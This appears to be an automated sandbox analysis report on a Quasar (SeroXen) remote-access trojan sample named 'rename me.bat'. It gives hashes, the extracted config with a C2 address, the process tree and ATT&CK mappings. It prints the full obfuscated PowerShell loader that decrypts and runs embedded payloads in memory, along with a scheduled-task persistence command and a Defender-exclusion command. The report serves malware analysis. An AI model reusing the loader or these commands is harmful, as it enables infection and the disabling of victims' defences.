quasar | 3f077245d055648ee67c8597d813805f43a1a750abf17b6597ec49e6e61bba1e

General

Target

rename me.bat
Size

328KB
MD5

aeb5d5210a55384c6019bc889ab2712a
SHA1

524094d4dc90b48c110e24b26aa6cebbf15937cf
SHA256

3f077245d055648ee67c8597d813805f43a1a750abf17b6597ec49e6e61bba1e
SHA512

2e71352ad66c150a217784f0eeec50d001eef3fa60be33dd98bec3503dc0356b8e6b6df4042e1bddfb4933b25ba5c9a4202450eb6604ae00bb48a1495f54910f
SSDEEP

6144:v49D8DR1G9Pj1pP+irNTVDxmev+lcvhEvLpPxJMRLRsvjoOo50AqPJNIA3OiL5O9:v49DuPGtjP+irnDIev+lcv2pxLjoOoOq

Score

10^/10

quasar seroxen spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen

C2

147.185.221.19:33587

Mutex

$Sxr-2rfrZTKITtK0P0zGYG

Attributes

encryption_key
Yr0YpBPNd3kXsl43jZMx
install_name
$sxr-sdinwn.exe
log_directory
$sxr
reconnect_delay
3000
startup_key
$sxr-metsha
subdirectory
sxr

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3368-23-0x00000000077B0000-0x000000000781E000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

18 3368 powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts powershell.exe
Executes dropped EXE 1 IoCs

Processes:

$sxr-sdinwn.exe

pid process

1052 $sxr-sdinwn.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

17 ip-api.com
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

5044 schtasks.exe
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command and Scripting Interpreter
T1059

Processes:

ipconfig.exe

pid process

2088 ipconfig.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe$sxr-sdinwn.exe

pid process

3368 powershell.exe
3368 powershell.exe
2356 powershell.exe
1052 $sxr-sdinwn.exe
1052 $sxr-sdinwn.exe
2356 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exe$sxr-sdinwn.exe

description pid process

Token: SeDebugPrivilege 3368 powershell.exe
Token: SeDebugPrivilege 2356 powershell.exe
Token: SeDebugPrivilege 1052 $sxr-sdinwn.exe

flow	pid	process
18	3368	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	powershell.exe

pid	process
1052	$sxr-sdinwn.exe

flow	ioc
17	ip-api.com

pid	process
5044	schtasks.exe

pid	process
2088	ipconfig.exe

pid	process
3368	powershell.exe
3368	powershell.exe
2356	powershell.exe
1052	$sxr-sdinwn.exe
1052	$sxr-sdinwn.exe
2356	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3368	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	1052	$sxr-sdinwn.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 4344 wrote to memory of 3368	4344	cmd.exe	powershell.exe
PID 4344 wrote to memory of 3368	4344	cmd.exe	powershell.exe
PID 4344 wrote to memory of 3368	4344	cmd.exe	powershell.exe
PID 3368 wrote to memory of 5044	3368	powershell.exe	schtasks.exe
PID 3368 wrote to memory of 5044	3368	powershell.exe	schtasks.exe
PID 3368 wrote to memory of 5044	3368	powershell.exe	schtasks.exe
PID 3368 wrote to memory of 1052	3368	powershell.exe	$sxr-sdinwn.exe
PID 3368 wrote to memory of 1052	3368	powershell.exe	$sxr-sdinwn.exe
PID 3368 wrote to memory of 1052	3368	powershell.exe	$sxr-sdinwn.exe
PID 3368 wrote to memory of 2356	3368	powershell.exe	powershell.exe
PID 3368 wrote to memory of 2356	3368	powershell.exe	powershell.exe
PID 3368 wrote to memory of 2356	3368	powershell.exe	powershell.exe
PID 3368 wrote to memory of 2088	3368	powershell.exe	ipconfig.exe
PID 3368 wrote to memory of 2088	3368	powershell.exe	ipconfig.exe
PID 3368 wrote to memory of 2088	3368	powershell.exe	ipconfig.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rename me.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4344

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c9cTBUxEQ3bkhNltovJO4VlBnFPtuZDAn3tKbTZM170='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q2umC619B9pCpnnAKCTQLg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FSGQo=New-Object System.IO.MemoryStream(,$param_var); $zrACb=New-Object System.IO.MemoryStream; $JlDkU=New-Object System.IO.Compression.GZipStream($FSGQo, [IO.Compression.CompressionMode]::Decompress); $JlDkU.CopyTo($zrACb); $JlDkU.Dispose(); $FSGQo.Dispose(); $zrACb.Dispose(); $zrACb.ToArray();}function execute_function($param_var,$param2_var){ $abVXg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NJXTr=$abVXg.EntryPoint; $NJXTr.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\rename me.bat';$EvryY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\rename me.bat').Split([Environment]::NewLine);foreach ($rkrqt in $EvryY) { if ($rkrqt.StartsWith(':: ')) { $xqxsV=$rkrqt.Substring(3); break; }}$payloads_var=[string[]]$xqxsV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Blocklisted process makes network request
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3368

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-metsha" /sc ONLOGON /tr "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:5044

C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe
"C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1052

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath (Get-Item -LiteralPath $env:SystemRoot).Root"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2356

C:\Windows\SysWOW64\ipconfig.exe
"C:\Windows\System32\ipconfig.exe" /flushdns
3⤵
- Gathers network information
PID:2088

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Command and Scripting Interpreter

1

T1059

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
fa34232314a6f718c9b6f184f8257dd4

SHA1
7900e7422a76afca82b7530f88f40cf5b9a6b91a

SHA256
f0e7191fc1e4d0bd3dc321ce565bc1d6deac3edc0fe29e798ca9aa5237e47ec5

SHA512
71fdcce1f45adc6ce8a6bd1210a3deddc9067524e18ae4b2a101dcb55275fb21a2985658ddca0139d8d25bd29b3689f4c8bc176da1ebf44937c1a88422a524ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
19KB

MD5
93369aaf7787a5da5c9e8c111e789bf5

SHA1
7471347c3a30cc6d0aaae70e0ea09a7ff0b90522

SHA256
b80877b66037dc4b0e27a1f26009764daa614e5001ee5d70b5cf0051cbb760c1

SHA512
2ace417a6ca096cf86d5d6e02110555ca5856c0defd558a0ed8e752b0e323618d33d2e5714ccbd10678ec89a8f68248dce474e6e996e0759410c0c8002f3264b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4oxjm0mr.msq.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\sxr\$sxr-sdinwn.exe
Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
memory/1052-88-0x0000000004DA0000-0x0000000004DB0000-memory.dmp

Filesize
64KB

Download
memory/1052-89-0x0000000004DA0000-0x0000000004DB0000-memory.dmp

Filesize
64KB

Download
memory/1052-87-0x00000000749A0000-0x0000000075150000-memory.dmp

Filesize
7.7MB

Download
memory/1052-57-0x0000000007360000-0x00000000073D6000-memory.dmp

Filesize
472KB

Download
memory/1052-56-0x00000000071C0000-0x0000000007204000-memory.dmp

Filesize
272KB

Download
memory/1052-36-0x0000000004DA0000-0x0000000004DB0000-memory.dmp

Filesize
64KB

Download
memory/1052-37-0x0000000004DA0000-0x0000000004DB0000-memory.dmp

Filesize
64KB

Download
memory/1052-35-0x00000000749A0000-0x0000000075150000-memory.dmp

Filesize
7.7MB

Download
memory/2356-71-0x0000000007660000-0x000000000767E000-memory.dmp

Filesize
120KB

Download
memory/2356-58-0x0000000007540000-0x00000000075D6000-memory.dmp

Filesize
600KB

Download
memory/2356-85-0x00000000749A0000-0x0000000075150000-memory.dmp

Filesize
7.7MB

Download
memory/2356-81-0x0000000007A60000-0x0000000007A68000-memory.dmp

Filesize
32KB

Download
memory/2356-80-0x0000000007A70000-0x0000000007A8A000-memory.dmp

Filesize
104KB

Download
memory/2356-79-0x0000000007A30000-0x0000000007A44000-memory.dmp

Filesize
80KB

Download
memory/2356-78-0x0000000007A20000-0x0000000007A2E000-memory.dmp

Filesize
56KB

Download
memory/2356-77-0x00000000079E0000-0x00000000079F1000-memory.dmp

Filesize
68KB

Download
memory/2356-73-0x0000000007870000-0x000000000787A000-memory.dmp

Filesize
40KB

Download
memory/2356-34-0x00000000051A0000-0x00000000051B0000-memory.dmp

Filesize
64KB

Download
memory/2356-33-0x00000000749A0000-0x0000000075150000-memory.dmp

Filesize
7.7MB

Download
memory/2356-72-0x00000000076D0000-0x0000000007773000-memory.dmp

Filesize
652KB

Download
memory/2356-60-0x0000000007680000-0x00000000076B2000-memory.dmp

Filesize
200KB

Download
memory/2356-61-0x00000000707C0000-0x000000007080C000-memory.dmp

Filesize
304KB

Download
memory/2356-59-0x00000000068C0000-0x00000000068E2000-memory.dmp

Filesize
136KB

Download
memory/3368-26-0x00000000052A0000-0x00000000052B2000-memory.dmp

Filesize
72KB

Download
memory/3368-3-0x0000000005640000-0x0000000005C68000-memory.dmp

Filesize
6.2MB

Download
memory/3368-21-0x0000000006A40000-0x0000000006A48000-memory.dmp

Filesize
32KB

Download
memory/3368-17-0x0000000006450000-0x000000000646E000-memory.dmp

Filesize
120KB

Download
memory/3368-18-0x0000000006480000-0x00000000064CC000-memory.dmp

Filesize
304KB

Download
memory/3368-19-0x0000000007CA0000-0x000000000831A000-memory.dmp

Filesize
6.5MB

Download
memory/3368-0-0x00000000749A0000-0x0000000075150000-memory.dmp

Filesize
7.7MB

Download
memory/3368-6-0x0000000005ED0000-0x0000000005F36000-memory.dmp

Filesize
408KB

Download
memory/3368-2-0x0000000004FC0000-0x0000000004FD0000-memory.dmp

Filesize
64KB

Download
memory/3368-13-0x0000000005F40000-0x0000000006294000-memory.dmp

Filesize
3.3MB

Download
memory/3368-20-0x00000000069F0000-0x0000000006A0A000-memory.dmp

Filesize
104KB

Download
memory/3368-25-0x0000000007940000-0x00000000079D2000-memory.dmp

Filesize
584KB

Download
memory/3368-24-0x00000000088D0000-0x0000000008E74000-memory.dmp

Filesize
5.6MB

Download
memory/3368-23-0x00000000077B0000-0x000000000781E000-memory.dmp

Filesize
440KB

Download
memory/3368-5-0x0000000005E60000-0x0000000005EC6000-memory.dmp

Filesize
408KB

Download
memory/3368-4-0x0000000005CC0000-0x0000000005CE2000-memory.dmp

Filesize
136KB

Download
memory/3368-22-0x0000000007650000-0x0000000007690000-memory.dmp

Filesize
256KB

Download
memory/3368-27-0x0000000008360000-0x000000000839C000-memory.dmp

Filesize
240KB

Download
memory/3368-1-0x0000000004FD0000-0x0000000005006000-memory.dmp

Filesize
216KB

Download
memory/3368-76-0x00000000749A0000-0x0000000075150000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads